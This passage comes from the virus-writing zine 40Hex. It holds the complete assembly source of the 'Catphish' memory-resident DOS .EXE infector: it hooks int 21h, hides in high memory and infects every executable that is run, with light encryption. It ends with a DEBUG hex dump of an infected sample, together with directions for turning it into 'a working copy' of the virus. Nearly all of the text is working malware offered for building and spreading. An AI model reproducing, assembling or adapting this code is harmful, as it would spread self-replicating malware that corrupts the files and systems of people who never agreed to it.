  3684.   reduce the  size of  a virus.    By  gaining  a  good  feel  of  the  80x86
  3685.   instruction set,  many more  optimisations may  be found.   Above all, good
  3686.   program design will aid in creating small viruses.
  3687. 40Hex Number 9 Volume 2 Issue 5                                       File 009
  3688.  
  3689.                                
  3690.  
  3691. name    VIRUSTEST
  3692.         title   
  3693. code    segment  
  3694.         assume  cs:code, ds:code, es:code
  3695.         org     100h
  3696.  
  3697. ;-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  3698. ;                       FirstStrike presents:
  3699. ;
  3700. ;                        The Catphish Virus.    
  3701. ;
  3702. ;   The Catphish virus is a resident .EXE infector.
  3703. ;                Size: 678 bytes (decimal).
  3704. ;                No activation (bomb).
  3705. ;                Saves date and file attributes.
  3706. ;
  3707. ;         If assembling, check_if_resident jump must be marked over
  3708. ;           with nop after first execution (first execution will hang
  3709. ;           system).
  3710. ;
  3711. ;         *** Source is made available to learn from, not to
  3712. ;               change author's name and claim credit! ***
  3713.  
  3714. start:
  3715.         call    setup                             ; Find "delta offset".
  3716. setup:               
  3717.         pop     bp                              
  3718.         sub     bp, offset setup-100h
  3719.         jmp     check_if_resident                 ; See note above about jmp!
  3720.  
  3721. pre_dec_em:
  3722.         mov bx,offset infect_header-100h
  3723.         add bx,bp
  3724.         mov cx,endcrypt-infect_header
  3725.  
  3726. ror_em:
  3727.         mov dl,byte ptr cs:[bx]
  3728.         ror dl,1                                  ; Decrypt virus code
  3729.         mov byte ptr cs:[bx],dl                   ;   by rotating right.
  3730.         inc bx                                    
  3731.         loop ror_em
  3732.  
  3733.         jmp check_if_resident
  3734.  
  3735. ;--------------------------------- Infect .EXE header -----------------------
  3736. ;   The .EXE header modifying code below is my reworked version of 
  3737. ;     Dark Angel's code found in his Phalcon/Skism virus guides.
  3738.  
  3739.  
  3740. infect_header:
  3741.           push bx
  3742.           push dx
  3743.           push ax
  3744.  
  3745.  
  3746.  
  3747.           mov     bx, word ptr [buffer+8-100h]    ; Header size in paragraphs
  3748.                ;  ^---make sure you don't destroy the file handle
  3749.           mov     cl, 4                           ; Multiply by 16.  Won't
  3750.           shl     bx, cl                          ; work with headers > 4096
  3751.                                                   ; bytes.  Oh well!
  3752.           sub     ax, bx                          ; Subtract header size from
  3753.           sbb     dx, 0                           ; file size
  3754.     ; Now DX:AX is loaded with file size minus header size
  3755.           mov     cx, 10h                         ; DX:AX/CX = AX Remainder DX
  3756.           div     cx
  3757.   
  3758.   
  3759.           mov     word ptr [buffer+14h-100h], dx  ; IP Offset
  3760.           mov     word ptr [buffer+16h-100h], ax  ; CS Displacement in module
  3761.   
  3762.   
  3763.           mov     word ptr [buffer+0Eh-100h], ax     ; Paragraph disp. SS
  3764.           mov     word ptr [buffer+10h-100h], 0A000h ; Starting SP
  3765.   
  3766.           pop ax
  3767.           pop dx
  3768.  
  3769.           add ax, endcode-start                   ; add virus size
  3770.           cmp ax, endcode-start
  3771.           jb fix_fault
  3772.           jmp execont
  3773.  
  3774.  
  3775. war_cry  db 'Cry Havoc, and let slip the Dogs of War!',0
  3776. v_name   db '[Catphish]',0                        ; Virus name.
  3777. v_author db 'FirstStrike',0                       ; Me.
  3778. v_stuff  db 'Kraft!',0
  3779.  
  3780.  
  3781. fix_fault:
  3782.           add dx,1d
  3783.   
  3784. execont:
  3785.           push ax      
  3786.           mov cl, 9    
  3787.           shr ax, cl   
  3788.           ror dx, cl   
  3789.           stc          
  3790.                        
  3791.           adc dx, ax   
  3792.           pop ax       
  3793.           and ah, 1    
  3794.           
  3795.   
  3796.           mov word ptr [buffer+4-100h], dx        ; Fix-up the file size in
  3797.           mov word ptr [buffer+2-100h], ax        ; the EXE header.
  3798.      
  3799.           pop bx
  3800.           retn                                    ; Leave subroutine
  3801.  
  3802. ;----------------------------------------------------------------------------
  3803.  
  3804.  
  3805. check_if_resident:
  3806.         push es
  3807.         xor ax,ax 
  3808.         mov es,ax
  3809.  
  3810.         cmp word ptr es:[63h*4],0040h             ; Check to see if virus
  3811.         jnz grab_da_vectors                       ;   is already resident
  3812.         jmp exit_normal                           ;   by looking for a 40h
  3813.                                                   ;   signature in the int 63h
  3814.                                                   ;   offset section of 
  3815.                                                   ;   interrupt table.
  3816.  
  3817. grab_da_vectors:
  3818.  
  3819.         mov ax,3521h                              ; Store original int 21h
  3820.         int 21h                                   ;   vector pointer.
  3821.         mov word ptr cs:[bp+dos_vector-100h],bx
  3822.         mov word ptr cs:[bp+dos_vector+2-100h],es
  3823.  
  3824.  
  3825.  
  3826. load_high:
  3827.         push ds
  3828.  
  3829. find_chain:                                       ; Load high routine that
  3830.                                                   ;   uses the DOS internal
  3831.      mov ah,52h                                   ;   table function to find
  3832.      int 21h                                      ;   start of MCB and then
  3833.                                                   ;   scales up chain to
  3834.      mov ds,es: word ptr [bx-2]                   ;   find top. (The code
  3835.      assume ds:nothing                            ;   is long, but it is the 
  3836.                                                   ;   only code that would
  3837.      xor si,si                                    ;   work when an infected
  3838.                                                   ;   .EXE was to be loaded 
  3839. Middle_check:                                     ;   into memory.
  3840.      
  3841.      cmp byte ptr ds:[0],'M'
  3842.      jne Check4last
  3843.  
  3844. add_one:
  3845.      mov ax,ds
  3846.      add ax,ds:[3]
  3847.      inc ax
  3848.  
  3849.      mov ds,ax
  3850.      jmp Middle_check
  3851.  
  3852. Check4last:
  3853.      cmp byte ptr ds:[0],'Z'
  3854.      jne Error
  3855.      mov byte ptr ds:[0],'M'
  3856.      sub word ptr ds:[3],(endcode-start+15h)/16h+1
  3857.      jmp add_one
  3858.  
  3859. error:
  3860.      mov byte ptr ds:[0],'Z'
  3861.      mov word ptr ds:[1],008h
  3862.      mov word ptr ds:[3],(endcode-start+15h)/16h+1
  3863.  
  3864.      push ds
  3865.      pop ax
  3866.      inc ax
  3867.      push ax
  3868.      pop es
  3869.  
  3870.  
  3871.  
  3872.  
  3873.  
  3874. move_virus_loop:
  3875.         mov bx,offset start-100h                  ; Move virus into carved
  3876.         add bx,bp                                 ;   out location in memory.
  3877.         mov cx,endcode-start
  3878.         push bp
  3879.         mov bp,0000h
  3880.  
  3881. move_it:
  3882.         mov dl, byte ptr cs:[bx]
  3883.         mov byte ptr es:[bp],dl
  3884.         inc bp
  3885.         inc bx
  3886.         loop move_it
  3887.         pop bp
  3888.  
  3889.  
  3890.  
  3891. hook_vectors:
  3892.  
  3893.         mov ax,2563h                              ; Hook the int 21h vector
  3894.         mov dx,0040h                              ;   which means it will
  3895.         int 21h                                   ;   point to virus code in
  3896.                                                   ;   memory.
  3897.         mov ax,2521h
  3898.         mov dx,offset virus_attack-100h
  3899.         push es
  3900.         pop ds
  3901.         int 21h
  3902.  
  3903.  
  3904.  
  3905.  
  3906.         pop ds
  3907.  
  3908.  
  3909.  
  3910. exit_normal:                                      ; Return control to 
  3911.         pop es                                    ;   infected .EXE
  3912.         mov ax, es                                ;   (Dark Angle code.)
  3913.         add ax, 10h 
  3914.         add word ptr cs:[bp+OrigCSIP+2-100h], ax 
  3915.                                          
  3916.         cli
  3917.         add ax, word ptr cs:[bp+OrigSSSP+2-100h] 
  3918.         mov ss, ax
  3919.         mov sp, word ptr cs:[bp+OrigSSSP-100h]
  3920.         sti
  3921.  
  3922.         xor ax,ax
  3923.         xor bp,bp
  3924.  
  3925. endcrypt  label  byte        
  3926.  
  3927.         db 0eah                          
  3928. OrigCSIP dd 0fff00000h
  3929. OrigSSSP dd ?                    
  3930.  
  3931. exe_attrib dw ?
  3932. date_stamp dw ?
  3933. time_stamp dw ?
  3934.  
  3935.  
  3936.  
  3937. dos_vector dd ?                                   
  3938.  
  3939. buffer db 18h dup(?)                              ; .EXE header buffer.
  3940.  
  3941.  
  3942.  
  3943.  
  3944. ;----------------------------------------------------------------------------
  3945.  
  3946.  
  3947. virus_attack proc  far
  3948.                assume cs:code,ds:nothing, es:nothing
  3949.  
  3950.         
  3951.         cmp ax,4b00h                              ; Infect only on file
  3952.         jz run_kill                               ;   executions.
  3953.  
  3954. leave_virus:
  3955.         jmp dword ptr cs:[dos_vector-100h]                                
  3956.  
  3957.  
  3958.  
  3959. run_kill:
  3960.         call infectexe
  3961.         jmp leave_virus
  3962.  
  3963.  
  3964.  
  3965.  
  3966.  
  3967. infectexe:                                        ; Same old working horse
  3968.         push ax                                   ;   routine that infects
  3969.         push bx                                   ;   the selected file.
  3970.         push cx
  3971.         push es
  3972.         push dx
  3973.         push ds
  3974.  
  3975.         
  3976.  
  3977.         mov cx,64d
  3978.         mov bx,dx
  3979.  
  3980. findname:
  3981.         cmp byte ptr ds:[bx],'.'
  3982.         jz o_k
  3983.         inc bx
  3984.         loop findname
  3985.  
  3986. pre_get_out:
  3987.         jmp get_out
  3988.  
  3989. o_k:
  3990.         cmp byte ptr ds:[bx+1],'E'                ; Searches for victims.
  3991.         jnz pre_get_out
  3992.         cmp byte ptr ds:[bx+2],'X'
  3993.         jnz pre_get_out
  3994.         cmp byte ptr ds:[bx+3],'E'
  3995.         jnz pre_get_out
  3996.        
  3997.  
  3998.  
  3999.  
  4000. getexe:
  4001.         mov ax,4300h
  4002.         call dosit
  4003.  
  4004.         mov word ptr cs:[exe_attrib-100h],cx
  4005.  
  4006.         mov ax,4301h
  4007.         xor cx,cx
  4008.         call dosit
  4009.  
  4010. exe_kill:
  4011.         mov ax,3d02h
  4012.         call dosit
  4013.         xchg bx,ax
  4014.         
  4015.         mov ax,5700h
  4016.         call dosit
  4017.  
  4018.         mov word ptr cs:[time_stamp-100h],cx
  4019.         mov word ptr cs:[date_stamp-100h],dx
  4020.  
  4021.  
  4022.  
  4023.         push cs
  4024.         pop ds
  4025.  
  4026.         mov ah,3fh
  4027.         mov cx,18h
  4028.         mov dx,offset buffer-100h
  4029.         call dosit
  4030.  
  4031.         cmp word ptr cs:[buffer+12h-100h],1993h   ; Looks for virus marker
  4032.         jnz infectforsure                         ;   of 1993h in .EXE 
  4033.         jmp close_it                              ;   header checksum 
  4034.                                                   ;   position.
  4035. infectforsure:
  4036.         call move_f_ptrfar
  4037.  
  4038.         push ax
  4039.         push dx
  4040.  
  4041.  
  4042.         call store_header
  4043.  
  4044.         pop dx
  4045.         pop ax
  4046.  
  4047.         call infect_header
  4048.  
  4049.  
  4050.         push bx
  4051.         push cx
  4052.         push dx
  4053.         
  4054.  
  4055.         mov bx,offset infect_header-100h
  4056.         mov cx,(endcrypt)-(infect_header)
  4057.  
  4058. rol_em:                                           ; Encryption via 
  4059.         mov dl,byte ptr cs:[bx]                   ;   rotating left.
  4060.         rol dl,1                                    
  4061.         mov byte ptr cs:[bx],dl
  4062.         inc bx
  4063.         loop rol_em
  4064.  
  4065.         pop dx
  4066.         pop cx
  4067.         pop bx
  4068.  
  4069.         mov ah,40h
  4070.         mov cx,endcode-start
  4071.         mov dx,offset start-100h
  4072.         call dosit
  4073.  
  4074.  
  4075.         mov word ptr cs:[buffer+12h-100h],1993h
  4076.  
  4077.  
  4078.         call move_f_ptrclose
  4079.  
  4080.         mov ah,40h
  4081.         mov cx,18h
  4082.         mov dx,offset buffer-100h
  4083.         call dosit
  4084.  
  4085.         mov ax,5701h
  4086.         mov cx,word ptr cs:[time_stamp-100h]
  4087.         mov dx,word ptr cs:[date_stamp-100h]
  4088.         call dosit
  4089.  
  4090. close_it:
  4091.  
  4092.  
  4093.         mov ah,3eh
  4094.         call dosit
  4095.  
  4096. get_out:
  4097.  
  4098.  
  4099.         pop ds
  4100.         pop dx
  4101.  
  4102. set_attrib:
  4103.         mov ax,4301h
  4104.         mov cx,word ptr cs:[exe_attrib-100h]
  4105.         call dosit
  4106.  
  4107.  
  4108.         pop es
  4109.         pop cx
  4110.         pop bx
  4111.         pop ax
  4112.  
  4113.         retn
  4114.         
  4115. ;---------------------------------- Call to DOS int 21h ---------------------
  4116.  
  4117. dosit:                                            ; DOS function call code.
  4118.         pushf
  4119.         call dword ptr cs:[dos_vector-100h]
  4120.         retn
  4121.  
  4122. ;----------------------------------------------------------------------------
  4123.                                                                             
  4124.  
  4125.  
  4126.  
  4127.  
  4128.  
  4129.  
  4130.  
  4131.  
  4132.  
  4133. ;-------------------------------- Store Header -----------------------------
  4134.  
  4135. store_header:
  4136.         les  ax, dword ptr [buffer+14h-100h]      ; Save old entry point
  4137.         mov  word ptr [OrigCSIP-100h], ax
  4138.         mov  word ptr [OrigCSIP+2-100h], es
  4139.   
  4140.         les  ax, dword ptr [buffer+0Eh-100h]      ; Save old stack
  4141.         mov  word ptr [OrigSSSP-100h], es
  4142.         mov  word ptr [OrigSSSP+2-100h], ax
  4143.  
  4144.         retn
  4145.  
  4146. ;---------------------------------------------------------------------------
  4147.  
  4148.  
  4149.  
  4150.  
  4151.  
  4152.  
  4153. ;---------------------------------- Set file pointer ------------------------
  4154.  
  4155. move_f_ptrfar:                                    ; Code to move file pointer.
  4156.         mov ax,4202h
  4157.         jmp short move_f
  4158.  
  4159. move_f_ptrclose:
  4160.         mov ax,4200h
  4161.  
  4162. move_f:
  4163.         xor dx,dx
  4164.         xor cx,cx
  4165.         call dosit
  4166.         retn
  4167.  
  4168. ;----------------------------------------------------------------------------
  4169.  
  4170.  
  4171. endcode         label       byte
  4172.  
  4173. endp
  4174.  
  4175. code ends
  4176. end  start   
  4177.  
  4178.  
  4179. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
  4180.  
  4181.               Below is a sample file that is already infected.
  4182.             Just cut out code and run through debug. Next rename 
  4183.             DUMMY.FIL to DUMMY.EXE and you have a working copy of
  4184.             your very own Catphish virus.
  4185.  
  4186.  
  4187. N DUMMY.FIL
  4188. E 0100 4D 5A 93 00 06 00 00 00 20 00 00 00 FF FF 5E 00 
  4189. E 0110 00 A0 93 19 0D 00 5E 00 3E 00 00 00 01 00 FB 30 
  4190. E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4191. E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4192. E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4193. E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4194. E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4195. E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4196. E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4197. E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4198. E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4199. E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4200. E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4201. E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4202. E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4203. E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4204. E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4205. E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4206. E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4207. E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4208. E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4209. E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4210. E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4211. E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4212. E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4213. E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4214. E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4215. E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4216. E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4217. E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4218. E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4219. E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4220. E 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4221. E 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4222. E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4223. E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4224. E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4225. E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4226. E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4227. E 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4228. E 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4229. E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4230. E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4231. E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4232. E 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4233. E 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4234. E 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4235. E 03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4236. E 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4237. E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4238. E 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4239. E 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4240. E 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4241. E 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4242. E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4243. E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4244. E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4245. E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4246. E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4247. E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4248. E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4249. E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4250. E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4251. E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  4252. E 0500 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4253. E 0510 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4254. E 0520 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4255. E 0530 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4256. E 0540 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4257. E 0550 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4258. E 0560 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4259. E 0570 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4260. E 0580 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4261. E 0590 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4262. E 05A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4263. E 05B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4264. E 05C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4265. E 05D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4266. E 05E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4267. E 05F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4268. E 0600 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4269. E 0610 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4270. E 0620 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4271. E 0630 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4272. E 0640 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4273. E 0650 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4274. E 0660 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4275. E 0670 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4276. E 0680 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4277. E 0690 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4278. E 06A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4279. E 06B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4280. E 06C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4281. E 06D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4282. E 06E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4283. E 06F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4284. E 0700 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4285. E 0710 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4286. E 0720 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4287. E 0730 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4288. E 0740 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4289. E 0750 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4290. E 0760 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4291. E 0770 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4292. E 0780 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4293. E 0790 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4294. E 07A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4295. E 07B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4296. E 07C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4297. E 07D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4298. E 07E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4299. E 07F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4300. E 0800 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4301. E 0810 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4302. E 0820 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4303. E 0830 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4304. E 0840 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4305. E 0850 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4306. E 0860 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4307. E 0870 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4308. E 0880 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4309. E 0890 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4310. E 08A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4311. E 08B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4312. E 08C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4313. E 08D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  4314. E 08E0 90 90 90 90 90 90 90 90 B8 00 4C CD 21 E8 00 00 
  4315. E 08F0 5D 81 ED 03 00 90 90 90 BB 21 00 03 DD B9 41 01 
  4316. E 0900 2E 8A 17 D0 CA 2E 88 17 43 E2 F5 E9 93 00 A6 A4 
  4317. E 0910 A0 17 3C FA 02 63 08 A7 C7 56 87 07 B5 00 73 20 
  4318. E 0920 00 EF E3 13 2C 13 02 47 17 02 47 07 02 8F 0C 0B 
  4319. E 0930 02 00 41 B0 B4 0A 4D 04 7A 4D 04 E4 94 D7 96 21 
  4320. E 0940 86 E4 F2 40 90 C2 EC DE C6 58 40 C2 DC C8 40 D8 
  4321. E 0950 CA E8 40 E6 D8 D2 E0 40 E8 D0 CA 40 88 DE CE E6 
  4322. E 0960 40 DE CC 40 AE C2 E4 42 00 B6 86 C2 E8 E0 D0 D2 
  4323. E 0970 E6 D0 BA 00 8C D2 E4 E6 E8 A6 E8 E4 D2 D6 CA 00 
  4324. E 0980 96 E4 C2 CC E8 42 00 07 85 02 A0 63 12 A7 D1 A7 
  4325. E 0990 95 F3 26 A1 B0 01 C9 02 13 2C F2 02 47 EE 02 B6 
  4326. E 09A0 87 0C 66 81 1D 81 4C 07 7C 19 02 80 EA 06 D3 03 
  4327. E 09B0 00 71 42 6A 9B 42 5C 13 3D E2 02 5C 19 0D E6 02 
  4328. E 09C0 3C 69 A4 9B 42 4C 1D BE FD 66 ED 01 7C 00 00 9A 
  4329. E 09D0 EA 16 19 B1 06 0C 06 00 80 1D B1 D7 DD 01 7C 00 
  4330. E 09E0 00 B4 EA 1A 8D 0C 00 00 9A 07 5C 06 00 40 21 D7 
  4331. E 09F0 C3 8D 0C 00 00 B4 8F 0C 02 00 10 00 8F 0C 06 00 
  4332. E 0A00 40 00 3C B0 80 A0 0E 77 00 00 06 BB 73 4D 04 AA 
  4333. E 0A10 7B 00 00 5C 15 2E 4C 11 AC 00 8A 86 C5 EB BA 71 
  4334. E 0A20 C6 4A 75 80 00 9B 42 71 42 4A 75 1B 02 0C 3E 9B 
  4335. E 0A30 42 3E 0E 19 81 0A 20 00 5C 02 0D CA 02 F5 5C 06 
  4336. E 0A40 0D D2 02 1D A1 5C 17 4D CE 02 F7 66 81 66 DB EA 
  4337. E 0A50 00 01 10 00 00 01 00 00 20 00 97 19 5A 0B 92 14 
  4338. E 0A60 1D 07 4D 5A 93 00 06 00 00 00 20 00 00 00 FF FF 
  4339. E 0A70 5E 00 00 A0 00 00 0D 00 5E 00 3D 00 4B 74 05 2E 
  4340. E 0A80 FF 2E 71 01 E8 02 00 EB F6 50 53 51 06 52 1E B9 
  4341. E 0A90 40 00 8B DA 80 3F 2E 74 06 43 E2 F8 E9 AE 00 80 
  4342. E 0AA0 7F 01 45 75 F7 80 7F 02 58 75 F1 80 7F 03 45 75 
  4343. E 0AB0 EB B8 00 43 E8 A8 00 2E 89 0E 6B 01 B8 01 43 33 
  4344. E 0AC0 C9 E8 9B 00 B8 02 3D E8 95 00 93 B8 00 57 E8 8E 
  4345. E 0AD0 00 2E 89 0E 6F 01 2E 89 16 6D 01 0E 1F B4 3F B9 
  4346. E 0AE0 18 00 BA 75 01 E8 77 00 2E 81 3E 87 01 93 19 75 
  4347. E 0AF0 03 EB 55 90 E8 8C 00 50 52 E8 6A 00 5A 58 E8 0D 
  4348. E 0B00 FE 53 51 52 BB 21 00 B9 41 01 2E 8A 17 D0 C2 2E 
  4349. E 0B10 88 17 43 E2 F5 5A 59 5B B4 40 B9 A6 02 BA 00 00 
  4350. E 0B20 E8 3C 00 2E C7 06 87 01 93 19 E8 5B 00 B4 40 B9 
  4351. E 0B30 18 00 BA 75 01 E8 27 00 B8 01 57 2E 8B 0E 6F 01 
  4352. E 0B40 2E 8B 16 6D 01 E8 17 00 B4 3E E8 12 00 1F 5A B8 
  4353. E 0B50 01 43 2E 8B 0E 6B 01 E8 05 00 07 59 5B 58 C3 9C 
  4354. E 0B60 2E FF 1E 71 01 C3 2E C4 06 89 01 2E A3 63 01 2E 
  4355. E 0B70 8C 06 65 01 2E C4 06 83 01 2E 8C 06 67 01 2E A3 
  4356. E 0B80 69 01 C3 B8 02 42 EB 03 B8 00 42 33 D2 33 C9 E8 
  4357. E 0B90 CD FF C3 
  4358. RCX
  4359. 0A93
  4360. W
  4361. Q
  4362.  
  4363.  
  4364.                              -+- FirstStrike -+-
  4365.